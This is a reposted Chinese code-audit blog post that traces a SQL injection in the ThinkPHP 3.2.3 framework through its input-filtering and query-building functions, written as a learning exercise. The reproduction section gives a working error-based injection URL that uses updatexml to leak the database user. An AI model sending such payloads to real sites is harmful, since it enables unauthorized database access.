数据库
首页 > 数据库> > 代码审计-thinkphp3.2.3框架漏洞sql注入

代码审计-thinkphp3.2.3框架漏洞sql注入

作者:互联网

开始复现审计一下tp3和tp5的框架漏洞,当个练习吧。

 

 

涉及注入的方法为where() table() delete()等。

环境 tp3.2.3 :

 

 

 

0x01 注入成因

测试代码:

    public function index2(){
//        $data = M('user')-> where('username = "admin"')->select();
//        dump($data);
        $id = i('id');
        $res = M('user')->find($id);

 

 

 

 

I方法断点 跟进去看。

 

 

 

F7跟进, thinkphp/ThinkPHP/Common/functions.php :

从283行开始看 首先判断提交方式:

......
switch(strtolower($method)) {
        case 'get'     :   
            $input =& $_GET;
            break;
        case 'post'    :   
            $input =& $_POST;
            break;
        case 'put'     :   
            if(is_null($_PUT)){
                parse_str(file_get_contents('php://input'), $_PUT);
            }
            $input     =    $_PUT;        
            break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                    if(is_null($_PUT)){
                        parse_str(file_get_contents('php://input'), $_PUT);
                    }
                    $input     =    $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
        case 'path'    :   
            $input  =   array();
            if(!empty($_SERVER['PATH_INFO'])){
                $depr   =   C('URL_PATHINFO_DEPR');
                $input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));            
            }
            break;
        case 'request' :   
            $input =& $_REQUEST;   
            break;
        case 'session' :   
            $input =& $_SESSION;   
            break;
        case 'cookie'  :   
            $input =& $_COOKIE;    
            break;
        case 'server'  :   
            $input =& $_SERVER;    
            break;
        case 'globals' :   
            $input =& $GLOBALS;    
            break;
        case 'data'    :   
            $input =& $datas;      
            break;
        default:
            return null;
    }

 

重点看过滤的地方

 

 

 

 

 

 

 

think_filter:

 

 

function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
    $value .= ' ';
}
}

 

这里基本就是成因了 黑名单过滤 但是有漏网之鱼 常见的updataxml()报错函数都没过滤。

 

跟到后面在函数 parseSet可以看到我们提交的字符串作为占位符:

 

 

 

protected function parseSet($data) {
        foreach ($data as $key=>$val){
            if(is_array($val) && 'exp' == $val[0]){
                $set[]  =   $this->parseKey($key).'='.$val[1];
            }elseif(is_null($val)){
                $set[]  =   $this->parseKey($key).'=NULL';
            }elseif(is_scalar($val)) {// 过滤非标量数据
                if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
                    $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
                }else{
                    $name   =   count($this->bind);
                    $set[]  =   $this->parseKey($key).'=:'.$name;
                    $this->bindParam($name,$val);
                }
            }
        }
        return ' SET '.implode(',',$set);
    }

 

_parseOptions方法:

if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }
 
        if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }
 
        // 数据表别名
        if (!empty($options['alias'])) {//判断是否设置了数据表别名
            $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
        }
        // 记录操作的模型名称
        $options['model'] = $this->name;
 
        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

 

当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时$options['where']也一样,看到parseWhere函数
$whereStr = '';
        if (is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where; //直接返回了,没有任何过滤
        } else {
            // 使用数组表达式
           ......
        }

 

 

 

0x02 复现利用

http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 

 

 

 

 

跟到最后的时候还是有点小绕 delet那些方法产生注入大同小异 回来再写 上班~

 

 

标签:case,val,thinkphp3.2,break,漏洞,sql,input,where,options
来源: https://www.cnblogs.com/-qing-/p/11444871.html